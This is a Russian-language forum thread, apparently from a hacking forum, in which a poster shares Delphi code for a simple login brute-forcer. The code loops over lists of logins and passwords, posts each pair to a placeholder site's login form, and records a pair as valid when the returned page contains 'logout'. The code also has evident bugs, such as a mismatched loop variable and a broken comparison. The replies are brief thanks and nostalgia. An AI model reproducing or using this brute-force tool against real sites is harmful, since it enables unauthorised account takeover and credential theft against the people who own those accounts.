Простой пример создания бруттера

  • Для просмотра чата и остального функционала вам нужно авторизоваться или пройти регистрацию!
A

>A1RN1kE<

Автор темы
Добрый день!
В этой теме я покажу простой пример бруттера,без всяких накруток, без потока и тп
Что нам для начала понадобится:
1.Кидаем на форму button,idhttp,3memo.
2.Объявляем глобальные переменные вот такие:
Код:
var
post,get:string;//Это у нас сама отправка пакетов
data:tstringlist;//Это список в котором будет хранится что мы отправляем через пост запрос
l,p:integer;//Ну а это нам поможет в ходе логинов и поролей
3.Настраиваем idhttp:
Код:
HandleRedirects ставим значение true
4.Далее создаем процедуру и в ней пишем:
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
for l := 0 to Memo1.Lines.Count - 1 do //Создаем цикл который перебирает логины
for i := 0 to memo2.lines.count-1 do //А этот цикл будет перебирать пароли 
begin 
data:=tstringlist.Create; //Создаем список   
data.Add('email='+mmo1.Lines[l]);//Берем Логины с memo1
data.Add('password='+form1.mmo2.Lines[p]);//Берем Пароли с memo2
post:=idhtp1.Post('http://blabla.ru',data); // Далее отправляем пост запрос с подключённым списком  
get:=idhtp1.Get('http://blabla.ru');//Отправляем гет запрос чтобы мы могли спарсить что нибудь для проверки валидности   
if Pos('logout',get)0 then //Собственно парсим надпись logout,тобишь если логаут в гет запросе присутствует тогда   
begin
mmo3.Lines.Add(mmo1.Lines[l]+';'+mmo2.Lines[p]);
end
else
//а тут уже по желанию нужно ли записывать не валид или нет
end;
end;
Вот и всё..
Особая благодарность ''gum_classis''
Всем спасибо...
 

ProstaK1

Новичок
20 Ноя 2013
3
0
1
Спасибо
ошибки лучше по сложнее сделай
Только не вижу какое сообщение должно выводиться при гуде
 

Gum4ik

Новичок
1 Дек 2013
1
0
1
Ухх сколько же лет назад, я писал тебе этот исход?)
 

Пользователи, просматривающие эту тему

Сейчас на форуме нет ни одного пользователя.
Сверху Снизу